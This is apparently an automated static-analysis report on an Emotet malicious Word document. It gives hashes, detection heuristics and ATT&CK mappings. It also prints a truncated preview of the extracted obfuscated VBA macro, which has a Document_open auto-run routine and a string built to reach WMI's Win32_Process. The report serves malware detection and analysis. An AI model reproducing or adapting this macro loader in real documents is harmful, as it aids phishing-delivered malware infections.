Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9f271d32554af925…

MALICIOUS

Office (OLE)

172.1 KB Created: 2019-12-10 21:55:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 61cf537134961fa5a055a00a18ce9458 SHA-1: 6727628d5f0f81a848f651218446535e3baad2a6 SHA-256: 9f271d32554af925c07c93d4aaf5d437950dd5979ce8e32efefcc92737db0bee
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7464365-0', strongly suggesting the Emotet family. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open macro that uses CreateObject, a common technique for executing code. While the VBA code is heavily obfuscated and truncated, its structure and the presence of a Document_Open auto-execution routine point to a downloader functionality, likely initiating the download of a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7464365-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464365-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6835 bytes
SHA-256: c4eb99992d26f516e8250328de6aae53fce1c13f67ec5e8aa0351df56b16f0a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Acqdlnqii"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Cammyqln, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Pypkuwuiw < Uqseuovbrawss Then
         Nwqyjblyxjs = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Apbdtdhswq = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Nurklmwqsk < Nuwaarcfrrci Then
         Hjiyrpexq = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Hhqsxoopvtfii = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Ageitsfla < Zdjthzuchniv Then
         Tusrrrwyivf = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Jwpeckpgxy = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Hrpnpbmbygvcd
End Sub

Attribute VB_Name = "Tzqzfonkdnvx"
Attribute VB_Base = "0{B7B15B58-EB98-4090-9ADD-AA155BBB3888}{544109DD-57B4-4769-9AB4-26AA7AFE5ECA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ojbpkcyf"
Function Cvjydtlque()
      If Kzctkualxn < Puqgevpfr Then
         Vvamtabtbj = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Fjkrsdqjtla = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ambuakpj = Acqdlnqii.Cammyqln
      If Vszuwubyyxlr < Kcrfhuorw Then
         Bvulpnzkcbk = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Ufrnxjwptpyuw = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Yccvpxhgjrewp = Ambuakpj + Tzqzfonkdnvx.Rokeculrdzu + Tzqzfonkdnvx.Obuwqngparpkc + Tzqzfonkdnvx.Omhglfjnmqo
      If Juytpaalwnh < Mobdxflmb Then
         Bcdqfbeunu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Lcbuylatevtzg = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Yatveumis = Yccvpxhgjrewp + Tzqzfonkdnvx.Kffirlpsod + Tzqzfonkdnvx.Hiqxcdsqgqto
      If Vlipphny < Bqxcnumglqrp Then
         Xalfnooys = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Fglhdjsilc = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Cvjydtlque = Hjexjsfo + Yatveumis + Hjexjsfo
      If Mhfafqcabyrbe < Sdhegrzlq Then
         Dibtxvxxewft = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Wqailkdnpkciv = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Hrpnpbmbygvcd()
      If Fvnosxrmvif < Vrmbibwst Then
         Vczxppxgzu = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Kmqttjrindqyi = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ocwcdidhhytqm = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Izxvmbfju < Swxturiqqsndm Then
         Msqsxagypguy = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3
... (truncated)